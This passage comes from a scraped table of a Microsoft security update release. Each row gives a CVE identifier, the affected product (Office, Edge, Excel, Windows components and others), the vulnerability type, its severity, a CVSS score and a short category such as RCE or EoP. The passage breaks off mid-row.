CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure 